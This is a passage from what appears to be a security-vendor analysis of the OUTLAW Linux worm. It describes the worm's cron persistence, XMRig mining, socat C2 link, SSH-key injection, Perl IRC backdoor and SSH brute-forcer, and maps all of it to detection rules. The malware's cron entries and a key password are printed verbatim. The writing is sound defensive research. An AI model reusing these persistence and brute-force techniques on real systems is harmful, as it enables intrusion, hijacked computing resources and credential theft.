<p>This script will, by default, consistently execute <code>init</code>. This is the primary execution path that installs the malware in the hidden directory <code>~/.configrc6</code>. The fallback execution path is <code>init2</code>, which is used when <code>~/.configrc6</code> is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/06-subroutine.png" alt="Conditional sub-routines: init and init2" title="Conditional sub-routines: `init` and `init2`" /></p>
<p>The first script (<code>init</code>) hides its components in the hidden directory <code>~/.configrc6</code>, while the second script (<code>init2</code>) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named <code>a</code> in the <code>a/</code> and <code>b/</code> directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:</p>
<pre><code class="language-text">5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude
</code></pre>
<p>Although the scripts execute the <code>a</code> binary in the <code>a/</code> and <code>b/</code> directories nearly simultaneously, we will follow the execution flow of the <code>a/</code> directory first.</p>
<h3>Subroutine Execution of a/ directory: XMRIG</h3>
<p>The first script that is executed is <code>a</code>, which removes any existing cron jobs using <code>crontab -r</code> and then stores the current working directory in a variable. It then creates a shell script called <code>upd</code> that checks if a process (stored in <code>bash.pid</code>) is still running. If the process is not running, it executes <code>./run</code> as a background process, ensuring that the malware is continuously restarted if terminated.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/07-startup-a.png" alt="Startup script in the a/ directory" title="Startup script in the `a/` directory" /></p>
<p>Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as <code>rsync</code>, <code>go</code>, <code>kswapd0</code>, <code>blitz,</code> and <code>redtail</code>.</p>
<p>Further down the script, a function is created that checks if <code>/sys/module/msr/parameters/allow_writes</code> exists and sets it to &quot;on&quot; to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the <code>modprobe msr allow_writes=on</code> command.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/08-xmrig-optimize.png" alt="XMRig optimization function: enable MSR writes" title="XMRig optimization function: enable MSR writes" /></p>
<p>Next, the function identifies the active CPU by checking <code>/proc/cpuinfo</code> and applies specific MSR register values to optimize performance.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/09-xmrig-registers.png" alt="XMRIG optimization function: apply MSR registers" title="XMRIG optimization function: apply MSR registers" /></p>
<p>Finally, the function optimizes memory usage by enabling <code>hugepages</code> for all CPU cores, increasing memory access efficiency. It calculates the number of <code>hugepages</code> needed based on the available processors (<code>nproc</code>) and sets them in the <code>/sys/devices/system/node/node*/hugepages/</code> directories.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/10-xmrig-hugepages.png" alt="XMRig optimization function: enable hugepages" title="XMRig optimization function: enable `hugepages`" /></p>
<p>The <code>optimize_func()</code> function was not created by the threat actor. The threat actor used an open-source script from the <code>XMRig</code> repository, specifically the <a href="https://github.com/xmrig/xmrig/blob/master/scripts/randomx_boost.sh">randomx_boost.sh</a> script, to aid in their infection chain.</p>
<p>Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of <code>hugepages</code> through <code>sysctl</code>:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/11-condition-optimize.png" alt="Condition for running optimize_func() function" title="Condition for running `optimize_func()` function" /></p>
<p>All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the <code>upd</code> file and &quot;777&quot; permissions to all files in its folder and runs <code>upd</code>.</p>
<p>As we saw earlier in the chain, the <code>upd</code> file checks whether the process stored in <code>bash.pid</code> is still running, and if it is not, it will execute the <code>run</code> script:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/12-run-script-a.png" alt="The run script for thea/ folder" title="The `run` script for the `a/` folder" /></p>
<p>The run script will start the <code>stop</code> script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/13-stop-script-a.png" alt="The stop script for the a/ folder" title="The `stop` script for the `a/` folder" /></p>
<p>Interestingly enough, a second process-killing script called <code>init0</code> is present, which is an <a href="https://github.com/MinervaLabsResearch/BlogPosts/blob/master/MinerKiller/MinerKiller.sh">open-source script</a> for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the <code>a</code> script.</p>
<p>After the <code>stop</code> script has been successfully run, the <code>run</code> script starts the <code>kswapd01</code> and <code>kswapd0</code> binaries in the background via <code>nohup</code>.</p>
<h4>kswapd01</h4>
<p>The <code>kswap01</code> binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous <code>socat</code> process, which is essential for communication with the attacker’s C2 servers.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/14-kswapd01-main.png" alt="The main function of the kswapd01 socat wrapper" title="image_toThe main function of the `kswapd01` `socat` wrapperoltip" /></p>
<p>When executed, <code>kswap01</code> checks for any existing <code>socat</code> processes running on the infected machine. If no active connection is found, it proceeds to kill any running <code>socat</code> processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh <code>socat</code> process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.</p>
<p>However, it's important to note that not every version of the OUTLAW malware package observed includes the <code>socat</code> binary. In these cases, the functionality provided by <code>socat</code> is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.</p>
<p>By performing these checks and modifications, <code>kswap01</code> helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.</p>
<h4>kswapd0</h4>
<p>The file named <code>kswapd0</code> is a maliciously modified copy of the legitimate <code>XMRig</code> cryptocurrency miner (specifically version 6.22.1).</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/15-kswapd0-xmrig-version.png" alt="The XMRig version" title="The `XMRig` version" /></p>
<p>Two major modifications define the malware’s behavior:</p>
<p><strong>1. Startup Shell Commands</strong></p>
<ul>
<li>The malware removes and recreates the victim’s <code>~/.ssh</code> folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (<code>chattr +ia</code>) to prevent modification. This grants persistent SSH access.</li>
<li>It also removes or locks existing <code>XMRig</code> configuration files (e.g., <code>~/.xmrig.json</code>, <code>~/.config/xmrig.json</code>) to ensure the attacker’s embedded miner settings remain intact.</li>
</ul>
<p><strong>2. Embedded Miner Configuration</strong></p>
<ul>
<li>The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.</li>
<li>Mining traffic is routed to multiple Monero pools over plaintext ports (<code>:80</code>, <code>:4444</code>), SSL (<code>:442</code>), and occasionally TOR addresses. Note that the port 442 here is not a typo.</li>
<li>The configuration optimizes performance by:
<ul>
<li>Running the miner in the background</li>
<li>Enabling large pages for <code>RandomX</code></li>
<li>Setting the donation level to zero</li>
<li>Maximizing CPU thread usage</li>
</ul>
</li>
</ul>
<p>By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, <code>kswapd0</code> serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.</p>
<h3>Subroutine Execution of b/ directory: STEALTH SHELLBOT</h3>
<p>As we described earlier, the <code>a</code> binary in the <code>b/</code> directory was also executed via the <code>init</code> scripts.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/16-a-in-b-folder.png" alt="The a script in the b/ folder" title="The `a` script in the `b/` folder" /></p>
<p>This script kicks off another <code>stop</code> script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called <code>sync</code>, with the sole purpose of executing the <code>run</code> script. This script is referenced in the cronjob we described earlier. The <code>run</code> script contains three base64-encoded blobs, which are piped to <code>perl</code>. An example of a shortened script is shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/17-base64-encoded.png" alt="Base64 encoded code" title="Base64 encoded code" /></p>
<p>Upon base64 decoding, obfuscated <code>perl</code> scripts are identified. These scripts leverage a <a href="https://perlobfuscator.com/">public Perl Obfuscator</a> utility to obfuscate their contents, making them harder to analyze:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/18-perl-obfuscated-code.png" alt="Perl obfuscated code" title="Perl obfuscated code" /></p>
<p>Fortunately, the author left the standard comments in the obfuscated scripts. By using the <a href="https://perlobfuscator.com/decode-stunnix-5.17.1.pl">publicly available deobfuscator</a> we can deobfuscate the script through the following command:</p>
<pre><code class="language-bash">perl decode-stunnix-5.17.1.pl &lt; obfuscated_run.pl &gt; deobfuscated_run.pl
</code></pre>
<p>After which we can view the deobfuscated contents:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/19-perl-deobfuscated.png" alt="Part of the Stealth Shellbot Perl code" title="Part of the `Stealth Shellbot` Perl code" /></p>
<p>This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.</p>
<p>The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through <code>chattr</code>:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/20-persistence.png" alt="Persistence via SSH key" title="Persistence via SSH key" /></p>
<h4>STEALTH SHELLBOT Scripts</h4>
<p>The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.</p>
<p>SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:</p>
<ul>
<li>Execute arbitrary shell commands</li>
<li>Download and execute additional payloads</li>
<li>Launch DDoS attacks (in older variants)</li>
<li>Steal credentials or exfiltrate system information</li>
<li>Manage crypto miners or other malware components</li>
</ul>
<p>OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.</p>
<p>While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.</p>
<h3>Subroutine Execution of c/ directory: Customer Bruteforcer</h3>
<p>As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the <code>init</code> and <code>init2</code> scripts. These scripts both call the <code>start</code> script, containing the following contents:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/21-start-script-in-c.png" alt="alt_tThe start script in the c/ folderext" title="The `start` script in the `c/` folder" /></p>
<p>This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named <code>aptitude</code> (which is also called by the previously set up cron job), to run the <code>run</code> script. After creating <code>aptitude</code>, it is granted execution permissions and is run.</p>
<p>The <code>run</code> script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/22-run-script-in-c.png" alt="The run script in the c/ folder" title="The `run` script in the `c/` folder" /></p>
<p>If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing <code>./go</code> in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary <code>golan</code> now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.</p>
<p>In most scenarios, the execution flow moves to the bash script called <code>go</code>:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/23-go-script-in-c.png" alt="The go bash script in the c/ folder" title="The `go` bash script in the `c/` folder" /></p>
<p>The script determines the CPU architecture and assigns a thread count accordingly:</p>
<ul>
<li>ARM-based systems → 75 threads</li>
<li>i686 (32-bit x86) → 325 threads</li>
<li>All others (default) → 475 threads</li>
</ul>
<p>It then enters an infinite loop, executing the following actions:</p>
<ol>
<li>Creates and cleans up temporary files (<code>v</code>, <code>p</code>, <code>ip</code>, <code>xtr*</code>, <code>a.*</code>, <code>b.*</code>).</li>
<li>Writes hardcoded values (<code>257.287.563.234</code> and <code>sdaferthqhr34312asdfa</code>) into files <code>c</code> and <code>d</code>.</li>
<li>Waits for a random delay (1-30 seconds) before launching <code>blitz</code>.</li>
<li>Executes <code>blitz</code> for 3 hours with specified parameters (<code>-t $threads</code> suggests multi-threaded processing).</li>
<li>Performs post-execution cleanup, removing temporary and log files before repeating the cycle.</li>
</ol>
<h4>BLITZ</h4>
<p>OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.</p>
<h5>BLITZ Execution Process</h5>
<p>Upon execution, BLITZ follows a structured attack sequence:</p>
<ol>
<li><strong>IP Target and Credential Retrieval</strong>
<ul>
<li>BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.</li>
</ul>
</li>
<li><strong>Brute-Force Authentication &amp; System Profiling</strong>
<ul>
<li>Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.</li>
<li>Once access is gained, it:
<ul>
<li>Changes the user’s password for persistent access.</li>
<li>Executes system reconnaissance commands, collecting:
<ul>
<li>User privileges</li>
<li>CPU details</li>
<li>SSH banner information</li>
<li>OS version</li>
</ul>
</li>
<li>Exfiltrates gathered data to the C2 server.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Subnet Scanning &amp; Lateral Movement</strong>
<ul>
<li>The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.</li>
</ul>
</li>
<li><strong>Self-Replication &amp; Malware Deployment</strong>
<ul>
<li>Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.</li>
</ul>
</li>
</ol>
<p>By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.</p>
<h5>Binary Analysis &amp; C2 Communication</h5>
<p>Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/24-random-ip-select.png" alt="Random IP Selection for the C2 SSH server" title="Random IP Selection for the C2 SSH server" /></p>
<p>Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password &quot;pegasus&quot;. Upon successful authentication, Blitz logs attack details into a &quot;v&quot; file, structured as follows:</p>
<p>This log contains:</p>
<ul>
<li>Original username and password used in the attack.</li>
<li>The victim’s IP address and the new password set by the malware.</li>
<li>SSH port and OS details, including CPU specifications.</li>
</ul>
<p>Once BLITZ completes its scanning cycle, the &quot;v&quot; file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.</p>
<h2>Post-Compromise</h2>
<p>To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.</p>
<p>A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29.  The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via <code>wget</code>, unpacked it, and executed the newly fetched script.</p>
<p>This whole chain of activity can be displayed through <a href="https://www.elastic.co/es/guide/en/security/current/session-view.html">session view</a>, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/outlaw-linux-malware/01-honeypot.gif" alt="Threat actors actions in a honeypot" title="Threat actors actions in a honeypot" /></p>
<p>The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.</p>
<p>This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual &quot;quality check&quot; of sorts—underscoring the importance of timely detection and swift containment.</p>
<h2>Detecting OUTLAW through MITRE ATT&amp;CK</h2>
<p>OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&amp;CK techniques, making it an effective case for detection engineering.</p>
<p>This section maps OUTLAW’s attack chain to MITRE ATT&amp;CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.</p>
<p>OUTLAW follows a structured infection flow:</p>
<ul>
<li><strong>Initial Access</strong> – SSH brute-force against weak credentials.</li>
<li><strong>Execution</strong> – Runs malicious scripts to kick off several stages of malware infection.</li>
<li><strong>Persistence</strong> – Installs cron jobs and modifies SSH keys.</li>
<li><strong>Defense Evasion</strong> – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.</li>
<li><strong>Credential Access</strong> – Modifies credentials and injects public SSH keys.</li>
<li><strong>Discovery</strong> – Enumerates user, system, and hardware details.</li>
<li><strong>Lateral Movement</strong> – Spreads via internal SSH brute-force and malware transfer.</li>
<li><strong>Collection &amp; Exfiltration</strong> – Collects and exfiltrates system data to its C2.</li>
<li><strong>Command and Control</strong> – Uses socat and STEALTH SHELLBOT for C2 communication.</li>
<li><strong>Impact</strong> – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.</li>
</ul>
<p>The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.</p>
<h3>TA001: Initial Access</h3>
<p>OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built <a href="https://github.com/elastic/detection-rules/">detection rules</a> can successfully detect this method of initial access. These include:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a></li>
</ul>
<p>Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></li>
</ul>
<p>Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/es/guide/en/kibana/current/osquery.html">OSQuery</a>, publicly available in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>. For example, the following two hunts may help in identifying different stages of the attack:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/login_activity_by_source_address.toml">Logon Activity by Source IP</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA002: Execution</h3>
<p>After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Memory Threat Detection Alert: Linux.Trojan.Pornoasset</a></li>
</ul>
<p>The STEALTH SHELLBOT script is detected through:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a></li>
</ul>
<p>Additionally, the malware executes multiple suspicious system commands, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></li>
</ul>
<h3>TA003: Persistence</h3>
<p>This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our &quot;<a href="https://www.elastic.co/es/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>&quot; publication. We can detect these techniques through the following SIEM and <a href="https://github.com/elastic/protections-artifacts">endpoint rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></li>
</ul>
<p>Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_cron.toml">Persistence via Cron</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/hunting/linux/queries/persistence_via_ssh_configurations_and_keys.toml">Persistence via SSH Configurations and/or Keys</a></li>
</ul>
<h3>TA005: Defense Evasion</h3>
<p>OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_linux_payload_decoded_and_decrypted_via_built_in_utility.toml">Linux Payload Decoded and Decrypted via Built-in Utility</a></li>
</ul>
<p>Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.</p>
<p>Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using <code>chattr</code>:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_file_mod_writable_dir.toml">File Permission Modification in Writable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_hidden_file_dir_tmp.toml">Creation of Hidden Files and Directories via CommandLine</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/defense_evasion_chattr_immutable_file.toml">File made Immutable by Chattr</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/defense_evasion_chattr_execution_from_unusual_parent.toml">Chattr Execution from Unusual Parent</a></li>
</ul>
<p>We can further enhance detection through the following hunting query:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/hunting/linux/queries/defense_evasion_via_hidden_process_execution.toml">Hidden Process Execution</a></li>
</ul>
<h3>TA006: Credential Access</h3>
<p>OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a></li>
</ul>
<p>The malware then changes the user credentials for the authenticated account by entering a new password using the <code>passwd</code> utility:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></li>
</ul>
<h3>TA007: Discovery</h3>
<p>OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several <a href="https://www.elastic.co/es/guide/en/security/current/building-block-rule.html">building block rules</a>, as listed in our <a href="https://github.com/elastic/detection-rules/tree/main/rules_building_block">rules_building_block directory</a>. Below is a short list of the most important ones triggered by OUTLAW:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_process_discovery_via_builtin_tools.toml">Process Discovery via Built-In Applications</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_of_accounts_or_groups_via_builtin_tools.toml">Account or Group Discovery via Built-In Tools</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_system_network_connections.toml">System Network Connections Discovery</a></li>
</ul>
<p>The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.</p>
<h3>TA008: Lateral Movement</h3>
<p>OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_subnet_scanning_activity_from_compromised_host.toml">Potential Subnet Scanning Activity from Compromised Host</a></li>
</ul>
<p>Once a system is successfully brute-forced, the malware package, <code>dota3.tar.gz</code>, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.</p>
<p>Elastic pre-built detection rules can identify these lateral movement attempts:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/credential_access_potential_linux_ssh_bruteforce_internal.toml">Potential Internal Linux SSH Brute Force Detected</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_remote_file_creation_world_writeable_dir.toml">Remote File Creation in World Writeable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_unusual_remote_file_creation.toml">Unusual Remote File Creation</a></li>
</ul>
